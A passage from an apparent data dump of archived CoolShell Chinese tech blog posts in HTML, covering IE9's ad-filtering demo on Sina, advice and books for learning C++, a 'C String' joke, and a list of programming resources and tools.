    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">微软的<a href=\"http://blogs.msdn.com/b/ie/\" target=\"_blank\">IE的Blog</a>发布了这样<a href=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png\" target=\"_blank\">一篇文章</a>，以此来展示IE9是如何过滤广告和ActiveX控件的功能。其使用了“新浪”来做为反面案例，新浪并不是第一次成为反面案例了，之前就有人用新浪等网站来表明<a href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\" title=\"为什么中国的网页设计那么烂？\">中国的网站的设计是怎么个烂法</a>。呵呵。伟大的新浪。</p>\n<p>下面是新浪的在IE9下没有开启过滤的样子，我们要吧看到满天飞的flash，广告，还有视频……</p>\n<div class=\"mceTemp mceIEcenter\" style=\"text-align: left;\">\n<dl class=\"wp-caption aligncenter\" style=\"width: 575px;\">\n<dt class=\"wp-caption-dt\"><a href=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png\"><img alt=\"新浪网站没有使用IE9的过滤功能\" class=\"\" height=\"411\" src=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png\" title=\"新浪网站没有使用IE9的过滤功能\" width=\"565\"/></a></dt>\n<dd class=\"wp-caption-dd\">新浪网站没有使用IE9的过滤功能</dd>\n</dl>\n</div>\n<p style=\"text-align: left;\">下面是开启了过滤功能后的新浪网页（个人感觉还是那么乱，没办法底子太差了）</p>\n<p style=\"text-align: left;\"><span id=\"more-3872\"></span></p>\n<figure class=\"wp-caption aligncenter\" style=\"width: 565px;\"><a href=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image2.png\"><img alt=\"IE9开启了ActiveX过滤功能后的新浪网页\" class=\"\" height=\"411\" src=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image2.png\" title=\"IE9开启了ActiveX过滤功能后的新浪网页\" width=\"565\"/></a><figcaption class=\"wp-caption-text\">IE9开启了ActiveX过滤功能后的新浪网页</figcaption></figure>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5247.html\"><img alt=\"国内微博和Twitter的最大不同\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5247.html\">国内微博和Twitter的最大不同</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4914.html\"><img alt=\"新浪微博的XSS攻击\" height=\"150\" src=\"../wp-content/uploads/2011/06/sina_xss01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-30 如何学好C++语言.html",
    "content": "<html><body><p>昨天写了一篇<a href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\" title=\"如何学好C语言\">如何学好C语言</a>，就有人回复问我如何学好C++，所以，我把我个人的一些学习经验写在这里，希望对大家有用。首先，因为<a href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\" title=\"如何学好C语言\">如何学好C语言</a>中谈到了算法和系统，所以这里就只谈C++语言。</p>\n<ul>\n<li><strong>C++是最难的语言</strong>。这个世界上最难的编程语言可能非C++莫属了。你千万不要以为<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" title=\"“21天教你学会C++”\">几天就可以学好C++</a>，C++的学习曲线是相当BT的，你可以看看<a href=\"https://coolshell.cn/articles/2287.html\" target=\"_blank\" title=\"C++ 程序员自信心曲线图\">这篇文章</a>。C++是一门很自由的语言，自由到了有点<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\" title=\"恐怖的C++语言\">BT和恐怖的地步</a>。我甚至认为C++并不是一门成熟的编程语言，因为太容易犯错了。所以，<strong>你一定要在一开始就要有很小心谨慎的态度，并把C++当成一种难以训服的猛兽来看待</strong>。</li>\n</ul>\n<ul>\n<li><strong>多问“为什么要这样”的问题</strong>。学习C++一定要多问几个“为什么是这样”，“凭什么要这样”的问题。比如：很多人知道C++有拷贝构造函数和初始化列表，但你真的知道为什么要有拷贝构造函数？为什么要有初始化列表吗？为什么要有template，为什么要有RTTI，为什么不是别的呢？难道就是为了让一门语言变得Cool一些吗？完全不是这样的，C++中的任何一个feature都有些实实在在的原因，<strong>你一定要去了解为什么要把C++设计成这样的原因，你才能学好C++</strong>。有空看看《<a href=\"http://product.china-pub.com/5217\" target=\"_blank\">C++演化和设计</a>》一书。</li>\n</ul>\n<p><span id=\"more-4119\"></span></p>\n<ul>\n<li><strong>看书，大量的C++书</strong>。你可以按如下先后顺序阅读（下面这些书，我花了大约4-5年的时间，今天我还在随时温习）\n<ul>\n<li>《<a href=\"http://product.china-pub.com/28767\" target=\"_blank\">C++ Primer</a>》，这本初级读本可能让会你啃得很痛苦，所有的语言的特性和为什么都在里面了，好好读读。当然由C++之父写的《<a href=\"http://product.china-pub.com/196448\" target=\"_blank\">C++程序设计语言</a>》也不错。两本看一本就好了（我看的是前者）。</li>\n<li>了解C++的语法仅仅是万里长征的第一步，你还需要看看《<a href=\"http://product.china-pub.com/197414\" target=\"_blank\">Effective C++</a>》和《<a href=\"http://product.china-pub.com/197665\" target=\"_blank\">More Effective C++</a>》这两本书并不厚，但我从02年就一直看到现在，每次读我都有新的体会，这两本书太经典了。如果你对C语言不熟，这两本书会让你回去补C语言的课。</li>\n<li><a href=\"http://product.china-pub.com/4801\" target=\"_blank\">Think in C++</a>同样是另一本经典之极的书，学c++必读，但是中文版的翻译的很不好，所以还是去读英文版的吧。</li>\n<li>《<a href=\"http://product.china-pub.com/38130&amp;ref=browse\" target=\"_blank\">C++沉思录</a>》同样非常值得一读，这里教的不是编程，而是思考的方法，这是相当珍贵的。</li>\n<li>《<a href=\"http://product.china-pub.com/33333\" target=\"_blank\">Exceptional C++</a>》和《<a href=\"http://product.china-pub.com/197666\" target=\"_blank\">More Exceptional C++</a>》让你看看各种问题的解决方法和一些常见的经典错误。</li>\n<li>《<a href=\"http://product.china-pub.com/16697\" target=\"_blank\">Advanced C++</a>》和《<a href=\"http://product.china-pub.com/9700\" target=\"_blank\">Modern C++</a>》可以让你知道C++各种神奇的用法。</li>\n<li>《<a href=\"http://product.china-pub.com/9864\" target=\"_blank\">泛型编程与STL</a>》是把C++实践到了极致的东西。很强大。STL——神一样的模板库（容器，算法和函数对象），不得不服。</li>\n<li>《<a href=\"http://www.china-pub.com/3290&amp;ref=browse\" target=\"_blank\">深入探索C++对象模型</a>》让你了解编译器下的C++是什么样的，让你了解C++的性能并不差。这个对于C++的程序员太关键了。我以前写过的《<a href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\" title=\"C++ 虚函数表解析\">C++虚函数表解析</a>》还有《<a href=\"https://coolshell.cn/articles/12176.html\" target=\"_blank\" title=\"C++ 对象的内存布局\">C++对象内存布局</a>》属于这个范畴。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li><strong>和Java语言做对比</strong>。我个人以为Java对C++这个并不成熟的语言做了很多调整，规范和限制。所以，对比一下Java和C++，想一想，为什么一些东西在C++中可以做，但在Java中却不行。比如：Java的异常是必需要catch的，不然就会编译不通过。为什么Java不提供操作符重载？为什么Java会引入接口来做多重继承？为什么Java没有像C++那样的I/O字符流？为什么Java不支持指针？为什么Java可以做到垃圾回收？等等。<strong>Java体现着很多面向对象设计的东西，学习Java有助于你学会怎么更好地使用C++来编程</strong>。</li>\n</ul>\n<ul>\n<li><strong>面向对象设计</strong> 。虽然<a href=\"https://coolshell.cn/articles/3036.html\" target=\"_blank\" title=\"面向对象是个骗局？！\">面向对象可能是个骗局</a>。但是我觉得面向对象设计中的一些实践非常的不错，比如，单一原则，依赖倒置原则，等等，都非常地经典。《<a href=\"http://product.china-pub.com/25961\" target=\"_blank\">设计模式</a>》必需一读，《<a href=\"http://product.china-pub.com/47106\" target=\"_blank\">面向对象的分析和设计</a>》可以一读。<strong>但不可以设计模式为中心来编程，而应该是用设计模式来解藕</strong>。</li>\n</ul>\n<ul>\n<li><strong>类库学习</strong>。看看MFC是怎么封装Windows API的，看看ACE是怎么面向对象的，看看boost是怎么玩面向对象的，看看CPPUnit又是怎么设计的。当然，<a href=\"https://coolshell.cn/articles/3320.html\" target=\"_blank\" title=\"JDK里的设计模式\">Java的JDK中有太多的设计模式</a>，可以参考。</li>\n</ul>\n<p>希望没有吓到大家，并欢迎大家补充。</p>\n<p><em><strong>—————更新 2011/03/30 19:20————</strong></em></p>\n<p>更新几个观点：</p>\n<ul>\n<li>1）我不擅长写书评，所以推荐的这些书可能会让你有点看点没有感觉，你可以上豆瓣或是China-pub上看看书评。</li>\n<li>2）C++有很多奇淫技巧，有的很BT，包括虚函数表，也许会有人觉得有点没意思，但我觉得很有意思，一方面可以了解一门语言的实现细节，另一方面可以开阔思路。我从学习这些知识中受益很多。</li>\n<li>3）上述是我的个人的学习历程，我觉得对我很有效，所以是经验之谈。</li>\n<li>4）这类的文章在网上有很多很多，我不是第一个写这样的文章，我也不是写得最好的，我并不希望用长篇大论来谈论什么。只是想给大家了解一下大概的学习样子。毕竟，C++博大精深，任何一篇文章都无法说好。不如就简单一些。</li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4119.html\">如何学好C++语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-4 Google图片搜索下的的C String.html",
    "content": "<html><body><p>周五了，来轻松一下。如果你在Google的图片搜索里搜索“C String”，你会看到很多相当Sexy的图片，C String真是很性感，丁字裤（T String）已经算不了什么了，看了一下图片，才发现原来还有男士了，太猛了。</p>\n<p><a href=\"http://www.google.com.hk/images?hl=zh-cn&amp;newwindow=1&amp;safe=strict&amp;q=C%20String&amp;um=1&amp;ie=UTF-8&amp;source=og&amp;sa=N&amp;tab=wi&amp;biw=1280&amp;bih=677\"><img alt=\"\" class=\"aligncenter size-full wp-image-3807\" height=\"313\" src=\"../wp-content/uploads/2011/02/C_String.jpg\" title=\"Google图片搜索的C String\" width=\"500\"/></a></p>\n<p>如果C String是这个样子，那么，其尾部应该有null终止符，而且最危险的是缓冲区溢出（Buffer Overflow）。哈哈。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3549.html\"><img alt=\"Android将允许纯C/C++开发应用\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12199.html\"><img alt=\"C++ STL string的Copy-On-Write技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12199.html\">C++ STL string的Copy-On-Write技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3806.html\">Google图片搜索下的的C String</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-3-4 一些有意思的贴子和工具.html",
    "content": "<html><body><p>又到了介绍各种杂项的时候了，正如以前的这三篇（<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\" title=\"一些非常有意思的杂项资源\">这篇</a>，<a href=\"https://coolshell.cn/articles/3437.html\" target=\"_blank\" title=\"一些杂项资源\">这篇</a>，和<a href=\"https://coolshell.cn/articles/3480.html\" target=\"_blank\" title=\"一些有意思的网站和贴子\">这篇</a>）文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。</p>\n<p>先说找工作吧，电影《<a href=\"http://movie.douban.com/subject/3205624/\" target=\"_blank\" title=\"社交网络（豆瓣）\">该页无法显示</a>》里的那个<a href=\"http://www.facebook.com\" target=\"_blank\">facebook</a>主页上的<strong><a href=\"http://www.facebook.com/careers/puzzles.php\" target=\"_blank\" title=\"FaceBook的招聘题\">招聘网页</a></strong>上是列了一堆问题，你可以去看看，你可以使用c/c++，Erlang，Haskell，Java，Perl，Python，PHP，Ruby来解题，不过只接受Unix/Linux下的版本， 不接受Windows的版本。无独有偶，<a href=\"http://www.dropbox.com/\" target=\"_blank\">DropBox</a>的<strong><a href=\"http://www.dropbox.com/jobs/challenges\" target=\"_blank\" title=\"DropBox的招聘题 \">招聘网页</a></strong>上也是些算法题，大家可以过去看看，不过需要翻墙。（现在，对于美国互联网企业来说，如果你没有被<a href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\" title=\"中国的C2C模式\">C2C</a>，说明你根本不存在，如果你没有被墙，说明你还不算成功）</p>\n<p>接下来给大家介绍一些文档和教程吧，都是英文的。</p>\n<ul>\n<li><strong><a href=\"http://www.harding.edu/fmccown/java_csharp_comparison.html\" target=\"_blank\">Java和C#的完整比较</a></strong>。这是一个相当完整的比较Java和C#语言的网页。很有意思，有助于你了解Java和C#的各种特性和不同。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://use-the-index-luke.com/\" target=\"_blank\">SQL 性能调优</a></strong>。这个文档覆盖了<em>IBM DB2</em>, <em>MySQL</em>, <em>Oracle</em>,<em>PostgreSQL</em> 和 <em>Microsoft SQL Server</em>。不过这个电子书还没有写完，你可以使用其<a href=\"http://use-the-index-luke.com/blog/feed\" target=\"_blank\">RSS</a>, <a href=\"http://twitter.com/MarkusWinand\">twitter</a> 或 <a href=\"http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/pages/Use-The-Index-Luke/157726730906717?ref%3Dts&amp;layout=standard&amp;show_faces=true&amp;width=250&amp;action=like&amp;colorscheme=light&amp;height=80\" title=\"Like on Facebook\">Facebook</a> 来跟踪其进度。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.cleveralgorithms.com/\" target=\"_blank\">Clever Algorithms</a></strong>。这个电子书也是免费的。其主要面向一些AI和面向自然的算法，一共45个。其包括概率随机算法，迭代进化算法，物理算法，可能性算法，蚂蚁蜜蜂式算法，免疫算法，神经算法等。里面大量的高等数学公式对我来说我已经看不懂了。不过，我相信这个电子书非常适合搞理论研究的人，或是需要抄袭一篇论文以顺利毕业的人使用。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://blog.gingertech.net/wp-content/uploads/2011/01/LCA_MM_AVProc2011/#slide1\" target=\"_blank\">HTML5 Audio &amp; Video 处理</a></strong>。这是一组在线的幻灯片，请使用键盘光标键翻页。这是一组带着各种演示的幻灯片，对于你要学习HTML5的声音和视频相关的知识很有帮助。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.mikeash.com/pyblog/friday-qa-2010-12-31-c-macro-tips-and-tricks.html\" target=\"_blank\">C 语言的宏</a></strong>。你想知道C语的宏有哪些有些意思的用法吗？这篇文档不会让你失望的。其由浅入深地向你介绍了宏的各种用法。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://stringoftheseus.com/blog/2011/01/10/api-sorting-algorithms/\" target=\"_blank\">各种语言的排序算法</a></strong>。你想知道各种语言其默认的排序算法用的是<a href=\"https://coolshell.cn/articles/399.html\" target=\"_blank\" title=\"一个排序算法比较的网站\">哪种排序算法</a>吗？看看这篇文章吧。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://fixplz.blourp.com/blog/=phys\" target=\"_blank\">物理模拟F#教程</a></strong>。相信你一定玩过那种游戏，画一个任意形状的石头，其会从天上落下以砸下面的一个东西，这个教程用.NET的F#向大家说明了这种东西怎么去做。（<a href=\"http://fixplz.blourp.com/blog/img/fsphys.rar\" target=\"_blank\">演示程序</a>）</li>\n</ul>\n<p><span id=\"more-3903\"></span></p>\n<ul>\n<li><strong><a href=\"http://www.helixsoft.nl/articles/circle/sincos.htm\" target=\"_blank\">Sin &amp; Cos游戏教程</a></strong>。这篇文章向你介绍了一些游戏编程的技术。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://damienradtke.org/unofficial-introduction-to-gnome-application-dev/\" target=\"_blank\">GNOME开发介绍</a></strong>。这是一个非官方的介绍GNOME应用开发的教程，简单清楚，很适合初学者。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.korokithakis.net/tutorials/python\" target=\"_blank\">10分钟学会Python</a></strong>。是的，也许你和我一样，很恨这样几天就学好一门语言的书，比如：<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" title=\"“21天教你学会C++”\">21天学好C++</a>。这个更夸张，10分钟。TNND。不过，当我看了一下后，我觉得其很适合初学者对Python有一个感性的认识。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://nicolasgallagher.com/css-drop-shadows-without-images/\" target=\"_blank\">CSS阴影教程</a></strong>。这是一篇教你种CSS做出种式样式的阴影效果的教程，这里是<a href=\"http://nicolasgallagher.com/css-drop-shadows-without-images/demo/\" target=\"_blank\">演示</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://gergo.erdi.hu/blog/2011-02-13-developing_iphone_applications_in_haskell___a_tutorial/\" target=\"_blank\">用Haskell开发iPhone应用</a></strong>。这是一个教程序，告诉你如何用Haskell开发iOS的应用程序。</li>\n</ul>\n<p>下面，再让我给你介绍一些和Web开发相关的开源的库。</p>\n<ul>\n<li><strong><a href=\"http://www.photon-project.com/\" target=\"_blank\">Photon</a></strong>。这是一个号称高性能的轻量级的PHP应用服务器框架。号称比Zend，Symfony和mod_php快3-10倍。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://web.chemdoodle.com/\" target=\"_blank\">ChemDoodle</a></strong>。这是一个用来画一些化学分子式的基于HTML5的类库和API，支持2D/3D，很强大。兼容于所有产商的支持HTML5的浏览器。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.limejs.com/\" target=\"_blank\">LimeJS</a></strong>。这个JS库可以让你方便得制作一些触摸屏的小游戏。<a href=\"http://www.limejs.com/static/roundball/index.html\" target=\"_blank\">演示一</a>，<a href=\"http://www.limejs.com/static/zlizer/index.html\" target=\"_blank\">演示二</a>。（<a href=\"https://coolshell.cn/articles/3516.html\" target=\"_blank\" title=\"JS游戏引擎列表\">一些游戏相关的JS</a>）</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://github.com/ruidlopes/spellcheckthejs\" target=\"_blank\">拼写检查</a></strong>。这是一个英文拼写检查的JS。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.clips.ua.ac.be/pages/pattern\" target=\"_blank\">Pattern</a></strong>。这是东东很强大，用于做Web挖掘，其有一组工具用来从Google, Twitter, Wikipedia，Web爬虫，HTML上获得数据，并进行文本分析和数据图形化显示。你可以上这里看看<a href=\"http://www.clips.ua.ac.be/demos\" target=\"_blank\">相关演示</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.appcelerator.com/products/titanium-mobile-application-development/\">Titanium Mobile</a></strong>。你想让你的代码同时支持iPhone和Android吗？这是一个跨平台的开发工具。这里有<a href=\"http://agiliq.com/blog/2011/02/iphoneandroid-application-development-using-titani/\" target=\"_blank\">一个教程</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://css3buttons.michaelhenriksen.dk/\" target=\"_blank\">CSS3的按钮</a></strong>。这里可以去下载一个CSS3的库，里面有N多的按钮风格，感觉都很酷。</li>\n</ul>\n<p>接下来，介绍一些小工具。</p>\n<ul>\n<li><strong><a href=\"http://caniuse.com/\" target=\"_blank\">Web兼容性表</a></strong>。你想看看各种浏览器对HTML5，CSS3，SVG的支持吗？这个网站可以让你看到所有的主流浏览器的兼容表。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.qgrep.com/\" target=\"_blank\">qgrep</a></strong>。嫌grep不够快吗？试试qgrep吧，支持OSX,  Linux 和 Windows。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.cam.hi-ho.ne.jp/oishi/indexen.html\" target=\"_blank\">XKeymacs</a></strong>。你有Emacs情结吗？如果有的话，试试这个工具吧，在windows里到处c-x c-c, c-x c-s, c-p, c-n什么什么的。挺有意思的。好吧，不是有意思，是BT。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.sublimetext.com/blog/articles/sublime-text-2-public-alpha\" target=\"_blank\">Sublime Text 2</a></strong>。虽然目前只是Alpha版本，但是这个看上去真的很不错。尤其是用来查看代码。支持Windows, Linux和OSX。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://code.google.com/p/vs-android/\" target=\"_blank\">VS-Android</a></strong>。这个项目让你可以在Visual Studio 2010的IDE下开发Android NDK C/C++的程序。</li>\n</ul>\n<p>其它东西。</p>\n<ul>\n<li><strong><a href=\"http://rigaux.org/language-study/scripting-language/\" target=\"_blank\">脚本语言排名</a></strong>。这个网页不但对所有的脚本语言进行了排名，还对一些操作进行了比较。</li>\n</ul>\n<ul>\n<li>HTML5的3D演示，这里有几个HTML5的3D演示，你可以看看，<a href=\"http://hakim.se/experiments/html5/sketch/#1966de71\" target=\"_blank\" title=\"sketch/\">演示一</a>，<a href=\"http://jolecule.appspot.com/pdb/1mbo#view:4mfct8\" target=\"_blank\" title=\"蛋白质分子式\">演示二</a>，<a href=\"http://dl.dropbox.com/u/59304/labs/cubeStable.html\" target=\"_blank\" title=\"立方体\">演示三</a>，<a href=\"http://dl.dropbox.com/u/59304/labs/tankGame.html\" target=\"_blank\" title=\"坦克游戏\">演示四</a>。</li>\n</ul>\n<ul>\n<li>说到Web上的3D，你可能需要看看Adobe的<a href=\"http://labs.adobe.com/technologies/flashplatformruntimes/incubator/features/molehill.html\" target=\"_blank\" title=\"Molehill APIs\">Molehill (3D GPU accelerated) APIs</a>，这里有一篇<a href=\"http://www.bytearray.org/?p=2810\" target=\"_blank\">介绍文章</a>。</li>\n</ul>\n<ul>\n<li>还记得那个<a 